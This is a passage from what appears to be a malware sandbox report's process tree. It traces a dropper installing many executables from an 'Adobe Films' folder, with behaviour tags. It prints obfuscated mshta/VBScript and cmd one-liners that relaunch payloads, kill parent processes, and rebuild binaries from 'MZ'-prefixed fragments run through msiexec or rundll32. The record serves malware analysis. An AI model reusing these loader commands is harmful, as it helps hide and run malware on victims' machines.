                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:4432
                                                                                      • C:\Users\Admin\Pictures\Adobe Films\HveFiaeXXM0weENd1aMUvcQD.exe
                                                                                        "C:\Users\Admin\Pictures\Adobe Films\HveFiaeXXM0weENd1aMUvcQD.exe"
                                                                                        8⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4900
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\VzdZjIT_6gjtma_gPV8K2vaV.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\VzdZjIT_6gjtma_gPV8K2vaV.exe"
                                                                                      7⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:5304
                                                                                      • C:\Users\Admin\Pictures\Adobe Films\VzdZjIT_6gjtma_gPV8K2vaV.exe
                                                                                        "C:\Users\Admin\Pictures\Adobe Films\VzdZjIT_6gjtma_gPV8K2vaV.exe"
                                                                                        8⤵
                                                                                          PID:4732
                                                                                      • C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe
                                                                                        "C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe"
                                                                                        7⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5716
                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                          "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                          8⤵
                                                                                            PID:5044
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\jCRSKUcozk4czUBqAcrf8XnJ.exe" ) do taskkill -im "%~NxK" -F
                                                                                              9⤵
                                                                                                PID:6088
                                                                                                • C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
                                                                                                  8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
                                                                                                  10⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2444
                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                    "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                    11⤵
                                                                                                      PID:2216
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
                                                                                                        12⤵
                                                                                                          PID:3444
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            13⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops startup file
                                                                                                            • Suspicious use of SetThreadContext
                                                                                                            • Drops file in Program Files directory
                                                                                                            PID:4324
                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )
                                                                                                        11⤵
                                                                                                          PID:8792
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
                                                                                                            12⤵
                                                                                                              PID:4112
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" EcHO "
                                                                                                                13⤵
                                                                                                                  PID:8752
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
                                                                                                                  13⤵
                                                                                                                    PID:8688
                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                    msiexec.exe -y .\N3V4H8H.SXY
                                                                                                                    13⤵
                                                                                                                      PID:6584
                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                taskkill -im "jCRSKUcozk4czUBqAcrf8XnJ.exe" -F
                                                                                                                10⤵
                                                                                                                • Kills process with taskkill
                                                                                                                PID:5308
                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ne9ohyXF_co9m9LHlERP1Q9I.exe
                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ne9ohyXF_co9m9LHlERP1Q9I.exe"
                                                                                                          7⤵
                                                                                                            PID:6436
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                              8⤵
                                                                                                                PID:5360
                                                                                                                • C:\Users\Admin\AppData\Local\2195965.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\2195965.exe"
                                                                                                                  9⤵
                                                                                                                    PID:8476
                                                                                                                  • C:\Users\Admin\AppData\Local\2836235.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\2836235.exe"
                                                                                                                    9⤵
                                                                                                                    • Checks BIOS information in registry
                                                                                                                    • Checks whether UAC is enabled
                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                    PID:5932
                                                                                                                  • C:\Users\Admin\AppData\Local\7366902.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\7366902.exe"
                                                                                                                    9⤵
                                                                                                                      PID:9056
                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\7366902.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\7366902.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                        10⤵
                                                                                                                          PID:6452
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\7366902.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\7366902.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                            11⤵
                                                                                                                            • Blocklisted process makes network request
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Checks processor information in registry
                                                                                                                            PID:6800
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                              ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                              12⤵
                                                                                                                                PID:9200
                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                  "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                  13⤵
                                                                                                                                    PID:5664
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                      14⤵
                                                                                                                                        PID:7332
                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                      "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                      13⤵
                                                                                                                                        PID:6680
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                          14⤵
                                                                                                                                            PID:4200
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                              15⤵
                                                                                                                                                PID:5744
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                15⤵
                                                                                                                                                  PID:9112
                                                                                                                                                • C:\Windows\SysWOW64\control.exe
                                                                                                                                                  control ..\WfNRfms4.K
                                                                                                                                                  15⤵
                                                                                                                                                    PID:8584
                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                      "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                      16⤵
                                                                                                                                                        PID:2340
                                                                                                                                                        • C:\Windows\system32\RunDll32.exe
                                                                                                                                                          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                          17⤵
                                                                                                                                                            PID:8428
                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
                                                                                                                                                              18⤵
                                                                                                                                                                PID:7136
                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                    taskkill -f -Im "7366902.exe"
                                                                                                                                                    12⤵
                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                    PID:9108
                                                                                                                                            • C:\Users\Admin\AppData\Local\1043683.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\1043683.exe"
                                                                                                                                              9⤵
                                                                                                                                              • Suspicious behavior: SetClipboardViewer
                                                                                                                                              PID:3444
                                                                                                                                            • C:\Users\Admin\AppData\Local\7249571.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\7249571.exe"
                                                                                                                                              9⤵
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              • Checks processor information in registry
                                                                                                                                              PID:6788
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                                            8⤵
                                                                                                                                              PID:6056
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                                              8⤵
                                                                                                                                                PID:2760
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                8⤵
                                                                                                                                                  PID:7320
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-B827J.tmp\setup.tmp
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-B827J.tmp\setup.tmp" /SL5="$10486,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                    9⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:720
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                      10⤵
                                                                                                                                                        PID:6264
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-CMHJO.tmp\setup.tmp
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-CMHJO.tmp\setup.tmp" /SL5="$30306,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                          11⤵
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                          PID:8228
                                                                                                                                                          • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                            "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                            12⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                            • System policy modification
                                                                                                                                                            PID:4972
                                                                                                                                                            • C:\df2d9579da5b14d9ee8f3a8382144de1\Setup.exe
                                                                                                                                                              C:\df2d9579da5b14d9ee8f3a8382144de1\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                              13⤵
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              PID:9176
                                                                                                                                                          • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                            "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                            12⤵
                                                                                                                                                              PID:9052
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-LMSEL.tmp\postback.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-LMSEL.tmp\postback.exe" ss1
                                                                                                                                                              12⤵
                                                                                                                                                                PID:8212
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                                                        8⤵
                                                                                                                                                          PID:5940
                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                            9⤵
                                                                                                                                                              PID:7768
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                10⤵
                                                                                                                                                                  PID:7200
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                                                    ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                                                    11⤵
                                                                                                                                                                      PID:8432
                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                        12⤵
                                                                                                                                                                          PID:8336
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                            13⤵
                                                                                                                                                                              PID:7976
                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                                                                                            12⤵
                                                                                                                                                                              PID:8236
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                13⤵
                                                                                                                                                                                  PID:8428
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                                                                                                    14⤵
                                                                                                                                                                                      PID:8148
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                                                                                                      14⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:6364
                                                                                                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                      msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                      14⤵
                                                                                                                                                                                        PID:6740
                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                  taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                                                                  11⤵
                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                  PID:3276
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:7584
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:7896
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                8⤵
                                                                                                                                                                                  PID:2344
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                                                  8⤵
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  PID:7780
                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                    9⤵
                                                                                                                                                                                      PID:5684
                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
                                                                                                                                                                                        10⤵
                                                                                                                                                                                          PID:8252
                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x98,0x1e8,0x7ffa7fe5dec0,0x7ffa7fe5ded0,0x7ffa7fe5dee0
                                                                                                                                                                                            11⤵
                                                                                                                                                                                              PID:1136
                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2392 /prefetch:1
                                                                                                                                                                                              11⤵
                                                                                                                                                                                                PID:4868
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2384 /prefetch:1
                                                                                                                                                                                                11⤵
                                                                                                                                                                                                  PID:6328
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=1944 /prefetch:8
                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                    PID:4720
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=1932 /prefetch:8
                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                      PID:5580
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1860 /prefetch:2
                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                        PID:7212
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3220 /prefetch:2
                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                          PID:5808
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=2488 /prefetch:8
                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                            PID:6244
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,17170275897111160468,14141675958932752956,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8252_1860983918" --mojo-platform-channel-handle=3268 /prefetch:8
                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                              PID:5980
